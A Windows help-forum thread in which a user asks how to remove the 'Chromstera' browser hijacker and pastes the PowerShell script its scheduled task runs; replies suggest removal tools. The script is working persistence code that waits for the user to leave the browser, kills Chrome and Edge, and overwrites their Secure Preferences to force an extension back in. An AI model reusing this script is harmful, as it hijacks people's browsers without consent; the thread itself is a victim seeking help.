Chromstera browser hijacker on my computer, need help finding and deleting files


Kade_

Member
Local time
6:42 PM
Posts
6
OS
Windows 11
I have the Chromstera browser hijacker on my computer and I'm not sure where it came from (there could be a few places but i've deleted all of the sketchy things i know on my computer). It has embedded myself into my computer, opening cmd and powershell to reinstall old files and keep my browser 'managed'. I just found the scheduled task that's running cmd and powershell, and this is the code I believe it's running:
Code:
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;

public class User32 {
    [DllImport("user32.dll")]
    public static extern IntPtr GetForegroundWindow();

    [DllImport("user32.dll", SetLastError=true)]
    public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);

    [DllImport("user32.dll")]
    public static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);

    public struct LASTINPUTINFO
    {
        public uint cbSize;
        public uint dwTime;
    }
}
"@

Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

$form = New-Object System.Windows.Forms.Form
$form.Text = 'Data Entry Form'
$form.Size = New-Object System.Drawing.Size(300,200)
$form.StartPosition = 'CenterScreen'

$okButton = New-Object System.Windows.Forms.Button
$okButton.Location = New-Object System.Drawing.Point(75,120)
$okButton.Size = New-Object System.Drawing.Size(75,23)
$okButton.Text = 'OK'
$okButton.DialogResult = [System.Windows.Forms.DialogResult]::OK
$form.AcceptButton = $okButton
$form.Controls.Add($okButton)

$cancelButton = New-Object System.Windows.Forms.Button
$cancelButton.Location = New-Object System.Drawing.Point(150,120)
$cancelButton.Size = New-Object System.Drawing.Size(75,23)
$cancelButton.Text = 'Cancel'
$cancelButton.DialogResult = [System.Windows.Forms.DialogResult]::Cancel
$form.CancelButton = $cancelButton
$form.Controls.Add($cancelButton)

$label = New-Object System.Windows.Forms.Label
$label.Location = New-Object System.Drawing.Point(10,20)
$label.Size = New-Object System.Drawing.Size(280,20)
$label.Text = 'Please enter the information in the space below:'
$form.Controls.Add($label)

$textBox = New-Object System.Windows.Forms.TextBox
$textBox.Location = New-Object System.Drawing.Point(10,40)
$textBox.Size = New-Object System.Drawing.Size(260,20)

function Get-ActiveWindowTitle {
    $hWnd = [User32]::GetForegroundWindow()
    $text = New-Object System.Text.StringBuilder 256
    if ([User32]::GetWindowText($hWnd, $text, $text.Capacity) -gt 0) {
        return $text.ToString()
    }
    return $null
}

function Is-Extension-Installed {
    param (
        [string] $preference,
        [string] $id
    )

    try {
        if (Test-Path -Path $preference) {
            $chrome_json = Get-Content $preference -Raw | ConvertFrom-Json;

            foreach($ext in $chrome_json.extensions.settings.PsObject.Properties) {
                $name = $ext.Name;
                $value = $ext.Value;

                if ($name -eq $id) {
                    if ($value.state -eq 1) {
                        return $true;
                        break;
                    }
                }
            }
        }
    } catch {
        Write-Host $_.Exception.Message;
    }

    return $false;
}

$localappdata = $env:localappdata;

$chrome = "Google\Chrome";
$edge = "Microsoft\Edge";

$chromeProfile = "$localappdata\$chrome\User Data\Default\";
$edgeProfile = "$localappdata\$edge\User Data\Default\";

$chromeExt = "$chromeProfile\Extensions\$id";
$edgeExt = "$edgeProfile\Extensions\$id";

$chromePref = "$chromeProfile\Secure Preferences";
$edgePref = "$edgeProfile\Secure Preferences";

$configFile = "$localappdata\reserve\config.txt";

if (Test-Path -Path $configFile) {
    $data = Get-Content -Path $configFile;
    $id = $data[4].Substring(7);

    $chromeData = Get-Content -Path $chromePref -ErrorAction SilentlyContinue;
    $edgeData = Get-Content -Path $edgePref -ErrorAction SilentlyContinue;

    if ((Test-Path -Path $chromeExt) -Or (Test-Path -Path $edgeExt)) {
        $chromeInstalled = Is-Extension-Installed -preference $chromePref -id $id;
        $edgeInstalled = Is-Extension-Installed -preference $edgePref -id $id;

        if (-Not($chromeInstalled -And $edgeInstalled)) {
            $checkIntervalSeconds = 60 # Check interval (e.g., every 10 seconds)
            $nonBrowserDuration = 600  # If non-browser active for 60 seconds, display success
            $nonBrowserTime = 0 # Timer for non-browser activity

            for ($i = 0; $i -lt 300; $i++) {
                $activeWindow = Get-ActiveWindowTitle

                if ($activeWindow -match "Chrome|Edge") {
                    Write-Output "The active window is a browser (Chrome or Edge): $activeWindow";
                    $nonBrowserTime = 0;
                } else {
                    Write-Output "The active window is not Chrome or Edge. It is: $activeWindow"
                    $nonBrowserTime += $checkIntervalSeconds;
                }

                if ($nonBrowserTime -ge $nonBrowserDuration) {
                    if (Test-Path -Path $chromeExt) {
                        if ($chromeInstalled) {
                            Write-Output "Chrome Extension Already Installed";
                        } else {
                            Stop-Process -Name 'chrome';
                            $file = "$localappdata\reserve\$chrome\Secure Preferences";
                            Copy-Item -Path $file -Destination $chromeProfile -Force;
                        }
                    }

                    if (Test-Path -Path $edgeExt) {
                        if ($edgeInstalled) {
                            Write-Output "Edge Extension Already Installed";
                        } else {
                            Stop-Process -Name 'msedge';
                            $file = "$localappdata\reserve\$edge\Secure Preferences";
                            Copy-Item -Path $file -Destination $edgeProfile -Force;
                        }
                    }

                    break;
                }

                Start-Sleep -Seconds $checkIntervalSeconds;
            }
        } else {
            Write-Output "Extension already installed on Chrome & Edge";
        }
    } else {
        Write-Output "Extension folder not found";
    }
} else {
    Write-Output "Config file not found";
}
It seems to have folders of 'world wide solutions' and 'web genius solutions' that I cannot get access to in order to delete it.
Somebody please help me out!! I've had to ditch chrome because of this
 
Windows Build/Version
23H2 build 22631.4169

Attachments

  • Screenshot (114).png
    Screenshot (114).png
    204.2 KB · Views: 1

My Computer

System One

  • OS
    Windows 11
    Computer type
    PC/Desktop
    Manufacturer/Model
    Not prebuilt
    CPU
    Ryzen 7 2700
    Motherboard
    ASrock B450M pro4
    Graphics Card(s)
    GTX 1660 TI
    Monitor(s) Displays
    viewsonic 32" 165hz
    Screen Resolution
    1440p
    Hard Drives
    seagate barracuda 2tb
    Case
    Deepcool something
    Keyboard
    redragon k582
    Mouse
    redragon m711 cobra
    Internet Speed
    1Gbps
    Browser
    Opera gx, previously chrome
    Antivirus
    bitdefender/malwarebytes

My Computers

System One System Two

  • OS
    Windows 11 Pro 23H2 Build 22631.5039
    Computer type
    PC/Desktop
    Manufacturer/Model
    Sin-built
    CPU
    Intel(R) Core(TM) i7-4770K CPU @ 3.50GHz (4th Gen?)
    Motherboard
    ASUS ROG Maximus VI Formula
    Memory
    32.0 GB of I forget and the box is in storage.
    Graphics Card(s)
    Gigabyte nVidia GeForce GTX 1660 Super OC 6GB
    Sound Card
    Onboard
    Monitor(s) Displays
    5 x LG 25MS500-B - 1 x 24MK430H-B - 1 x Wacom Pro 22" Tablet
    Screen Resolution
    All over the place
    Hard Drives
    Too many to list.
    OS on Samsung 1TB 870 QVO SATA
    PSU
    Silverstone 1500
    Case
    NZXT Phantom 820 Full-Tower Case
    Cooling
    Noctua NH-D15 Elite Class Dual Tower CPU Cooler / 6 x EziDIY 120mm / 2 x Corsair 140mm somethings / 1 x 140mm Thermaltake something / 2 x 200mm Corsair.
    Keyboard
    Corsair K95 / Logitech diNovo Edge Wireless
    Mouse
    Logitech: G402 / G502 / Mx Masters / MX Air Cordless
    Internet Speed
    1000/400Mbps
    Browser
    All sorts
    Antivirus
    Kaspersky Premium
    Other Info
    I’m on a horse.
  • Operating System
    Windows 11 Pro 23H2 Build: 22631.4249
    Computer type
    Laptop
    Manufacturer/Model
    LENOVO Yoga 7i EVO OLED 14" Touchscreen i5 12 Core 16GB/512GB
    CPU
    Intel Core 12th Gen i5-1240P Processor (1.7 - 4.4GHz)
    Memory
    16GB LPDDR5 RAM
    Graphics card(s)
    Intel Iris Xe Graphics Processor
    Sound Card
    Optimized with Dolby Atmos®
    Screen Resolution
    QHD 2880 x 1800 OLED
    Hard Drives
    M.2 512GB
    Antivirus
    Defender / Malwarebytes
    Other Info
    …still on a horse.
i believe i've tried this already but i'll check again.
 

My Computer

System One

  • OS
    Windows 11
    Computer type
    PC/Desktop
    Manufacturer/Model
    Not prebuilt
    CPU
    Ryzen 7 2700
    Motherboard
    ASrock B450M pro4
    Graphics Card(s)
    GTX 1660 TI
    Monitor(s) Displays
    viewsonic 32" 165hz
    Screen Resolution
    1440p
    Hard Drives
    seagate barracuda 2tb
    Case
    Deepcool something
    Keyboard
    redragon k582
    Mouse
    redragon m711 cobra
    Internet Speed
    1Gbps
    Browser
    Opera gx, previously chrome
    Antivirus
    bitdefender/malwarebytes
Hi antspants, I have tried Revo and it has not worked. After many searches, safe mode boots, and permission changes, I am down to one folder containing a powershell command. I cannot delete it as it says access is denied, and when I change the folder owner so the account I am currently on owns it, it still says that I need permission FROM THE ACCOUNT I AM USING to delete the file. I also cannot use cmd in recovery as it cannot find the file.
 

My Computer

System One

  • OS
    Windows 11
    Computer type
    PC/Desktop
    Manufacturer/Model
    Not prebuilt
    CPU
    Ryzen 7 2700
    Motherboard
    ASrock B450M pro4
    Graphics Card(s)
    GTX 1660 TI
    Monitor(s) Displays
    viewsonic 32" 165hz
    Screen Resolution
    1440p
    Hard Drives
    seagate barracuda 2tb
    Case
    Deepcool something
    Keyboard
    redragon k582
    Mouse
    redragon m711 cobra
    Internet Speed
    1Gbps
    Browser
    Opera gx, previously chrome
    Antivirus
    bitdefender/malwarebytes
Try this?

 

My Computers

System One System Two

  • OS
    Windows 11 Pro 23H2 Build 22631.5039
    Computer type
    PC/Desktop
    Manufacturer/Model
    Sin-built
    CPU
    Intel(R) Core(TM) i7-4770K CPU @ 3.50GHz (4th Gen?)
    Motherboard
    ASUS ROG Maximus VI Formula
    Memory
    32.0 GB of I forget and the box is in storage.
    Graphics Card(s)
    Gigabyte nVidia GeForce GTX 1660 Super OC 6GB
    Sound Card
    Onboard
    Monitor(s) Displays
    5 x LG 25MS500-B - 1 x 24MK430H-B - 1 x Wacom Pro 22" Tablet
    Screen Resolution
    All over the place
    Hard Drives
    Too many to list.
    OS on Samsung 1TB 870 QVO SATA
    PSU
    Silverstone 1500
    Case
    NZXT Phantom 820 Full-Tower Case
    Cooling
    Noctua NH-D15 Elite Class Dual Tower CPU Cooler / 6 x EziDIY 120mm / 2 x Corsair 140mm somethings / 1 x 140mm Thermaltake something / 2 x 200mm Corsair.
    Keyboard
    Corsair K95 / Logitech diNovo Edge Wireless
    Mouse
    Logitech: G402 / G502 / Mx Masters / MX Air Cordless
    Internet Speed
    1000/400Mbps
    Browser
    All sorts
    Antivirus
    Kaspersky Premium
    Other Info
    I’m on a horse.
  • Operating System
    Windows 11 Pro 23H2 Build: 22631.4249
    Computer type
    Laptop
    Manufacturer/Model
    LENOVO Yoga 7i EVO OLED 14" Touchscreen i5 12 Core 16GB/512GB
    CPU
    Intel Core 12th Gen i5-1240P Processor (1.7 - 4.4GHz)
    Memory
    16GB LPDDR5 RAM
    Graphics card(s)
    Intel Iris Xe Graphics Processor
    Sound Card
    Optimized with Dolby Atmos®
    Screen Resolution
    QHD 2880 x 1800 OLED
    Hard Drives
    M.2 512GB
    Antivirus
    Defender / Malwarebytes
    Other Info
    …still on a horse.
Maybe you need to run powershell or explorer with the highest privileges above what is available to you.


The above app is small and anything I have tried from this crew sordom is most safe. Everything they offer is free.
 

My Computers

System One System Two

  • OS
    Windows 11 Pro 23H2 Build 22631.5039
    Computer type
    PC/Desktop
    Manufacturer/Model
    Sin-built
    CPU
    Intel(R) Core(TM) i7-4770K CPU @ 3.50GHz (4th Gen?)
    Motherboard
    ASUS ROG Maximus VI Formula
    Memory
    32.0 GB of I forget and the box is in storage.
    Graphics Card(s)
    Gigabyte nVidia GeForce GTX 1660 Super OC 6GB
    Sound Card
    Onboard
    Monitor(s) Displays
    5 x LG 25MS500-B - 1 x 24MK430H-B - 1 x Wacom Pro 22" Tablet
    Screen Resolution
    All over the place
    Hard Drives
    Too many to list.
    OS on Samsung 1TB 870 QVO SATA
    PSU
    Silverstone 1500
    Case
    NZXT Phantom 820 Full-Tower Case
    Cooling
    Noctua NH-D15 Elite Class Dual Tower CPU Cooler / 6 x EziDIY 120mm / 2 x Corsair 140mm somethings / 1 x 140mm Thermaltake something / 2 x 200mm Corsair.
    Keyboard
    Corsair K95 / Logitech diNovo Edge Wireless
    Mouse
    Logitech: G402 / G502 / Mx Masters / MX Air Cordless
    Internet Speed
    1000/400Mbps
    Browser
    All sorts
    Antivirus
    Kaspersky Premium
    Other Info
    I’m on a horse.
  • Operating System
    Windows 11 Pro 23H2 Build: 22631.4249
    Computer type
    Laptop
    Manufacturer/Model
    LENOVO Yoga 7i EVO OLED 14" Touchscreen i5 12 Core 16GB/512GB
    CPU
    Intel Core 12th Gen i5-1240P Processor (1.7 - 4.4GHz)
    Memory
    16GB LPDDR5 RAM
    Graphics card(s)
    Intel Iris Xe Graphics Processor
    Sound Card
    Optimized with Dolby Atmos®
    Screen Resolution
    QHD 2880 x 1800 OLED
    Hard Drives
    M.2 512GB
    Antivirus
    Defender / Malwarebytes
    Other Info
    …still on a horse.
so should i run file explorer with highest privileges?
 

My Computer

System One

  • OS
    Windows 11
    Computer type
    PC/Desktop
    Manufacturer/Model
    Not prebuilt
    CPU
    Ryzen 7 2700
    Motherboard
    ASrock B450M pro4
    Graphics Card(s)
    GTX 1660 TI
    Monitor(s) Displays
    viewsonic 32" 165hz
    Screen Resolution
    1440p
    Hard Drives
    seagate barracuda 2tb
    Case
    Deepcool something
    Keyboard
    redragon k582
    Mouse
    redragon m711 cobra
    Internet Speed
    1Gbps
    Browser
    Opera gx, previously chrome
    Antivirus
    bitdefender/malwarebytes
so should i run file explorer with highest privileges?
If that program allows it I would assume it may help. I forget how to add an app to that app, in this case file explorer, but I don't recall it being hard

Outside of that I don’t know enough about this problem you’re having with deleting what you need to.
 

My Computers

System One System Two

  • OS
    Windows 11 Pro 23H2 Build 22631.5039
    Computer type
    PC/Desktop
    Manufacturer/Model
    Sin-built
    CPU
    Intel(R) Core(TM) i7-4770K CPU @ 3.50GHz (4th Gen?)
    Motherboard
    ASUS ROG Maximus VI Formula
    Memory
    32.0 GB of I forget and the box is in storage.
    Graphics Card(s)
    Gigabyte nVidia GeForce GTX 1660 Super OC 6GB
    Sound Card
    Onboard
    Monitor(s) Displays
    5 x LG 25MS500-B - 1 x 24MK430H-B - 1 x Wacom Pro 22" Tablet
    Screen Resolution
    All over the place
    Hard Drives
    Too many to list.
    OS on Samsung 1TB 870 QVO SATA
    PSU
    Silverstone 1500
    Case
    NZXT Phantom 820 Full-Tower Case
    Cooling
    Noctua NH-D15 Elite Class Dual Tower CPU Cooler / 6 x EziDIY 120mm / 2 x Corsair 140mm somethings / 1 x 140mm Thermaltake something / 2 x 200mm Corsair.
    Keyboard
    Corsair K95 / Logitech diNovo Edge Wireless
    Mouse
    Logitech: G402 / G502 / Mx Masters / MX Air Cordless
    Internet Speed
    1000/400Mbps
    Browser
    All sorts
    Antivirus
    Kaspersky Premium
    Other Info
    I’m on a horse.
  • Operating System
    Windows 11 Pro 23H2 Build: 22631.4249
    Computer type
    Laptop
    Manufacturer/Model
    LENOVO Yoga 7i EVO OLED 14" Touchscreen i5 12 Core 16GB/512GB
    CPU
    Intel Core 12th Gen i5-1240P Processor (1.7 - 4.4GHz)
    Memory
    16GB LPDDR5 RAM
    Graphics card(s)
    Intel Iris Xe Graphics Processor
    Sound Card
    Optimized with Dolby Atmos®
    Screen Resolution
    QHD 2880 x 1800 OLED
    Hard Drives
    M.2 512GB
    Antivirus
    Defender / Malwarebytes
    Other Info
    …still on a horse.
I ran cmd with powerrun, did RD and it STILL gave me access denied.
I'm thinking of giving up since it's pretty much a harmless file at this point since it can't run unless I open it but i don't really want to take that chance.
 

My Computer

System One

  • OS
    Windows 11
    Computer type
    PC/Desktop
    Manufacturer/Model
    Not prebuilt
    CPU
    Ryzen 7 2700
    Motherboard
    ASrock B450M pro4
    Graphics Card(s)
    GTX 1660 TI
    Monitor(s) Displays
    viewsonic 32" 165hz
    Screen Resolution
    1440p
    Hard Drives
    seagate barracuda 2tb
    Case
    Deepcool something
    Keyboard
    redragon k582
    Mouse
    redragon m711 cobra
    Internet Speed
    1Gbps
    Browser
    Opera gx, previously chrome
    Antivirus
    bitdefender/malwarebytes
I'm going to sleep since it's currently past midnight, i'll try again tomorrow i guess.
 

My Computer

System One

  • OS
    Windows 11
    Computer type
    PC/Desktop
    Manufacturer/Model
    Not prebuilt
    CPU
    Ryzen 7 2700
    Motherboard
    ASrock B450M pro4
    Graphics Card(s)
    GTX 1660 TI
    Monitor(s) Displays
    viewsonic 32" 165hz
    Screen Resolution
    1440p
    Hard Drives
    seagate barracuda 2tb
    Case
    Deepcool something
    Keyboard
    redragon k582
    Mouse
    redragon m711 cobra
    Internet Speed
    1Gbps
    Browser
    Opera gx, previously chrome
    Antivirus
    bitdefender/malwarebytes
Hi Kade right click on the taskbar and choose task manager. See if you can stop Chromstera from running by right clicking and choosing Stop.

Next see if you can run Revo to uninstall it.
 

My Computers

System One System Two

  • OS
    Windows 11 Home 24H2 26100.3775
    Computer type
    PC/Desktop
    Manufacturer/Model
    HP Pavilion TP01-2xxx
    CPU
    AMD Ryzen 3 5300G
    Memory
    8gb
    Graphics Card(s)
    Radeon Graphics 4.00GHZ
    Monitor(s) Displays
    ViewSonic
    Keyboard
    HP
    Mouse
    wireless Microsoft
    Browser
    FireFox
    Antivirus
    Avira
  • Operating System
    Updated Windows 10 to 11 24H2 26100.3624
    Computer type
    PC/Desktop
    Manufacturer/Model
    HP
    CPU
    Intel Core i3 8100 @3.60 GHz
    Motherboard
    HP 8653 (U3E1)
    Memory
    8.GB
    Graphics card(s)
    Intel UHD 360 (HP)
    Sound Card
    Realtek High Def
    Monitor(s) Displays
    ViewSonic

Latest Support Threads

Back
Top Bottom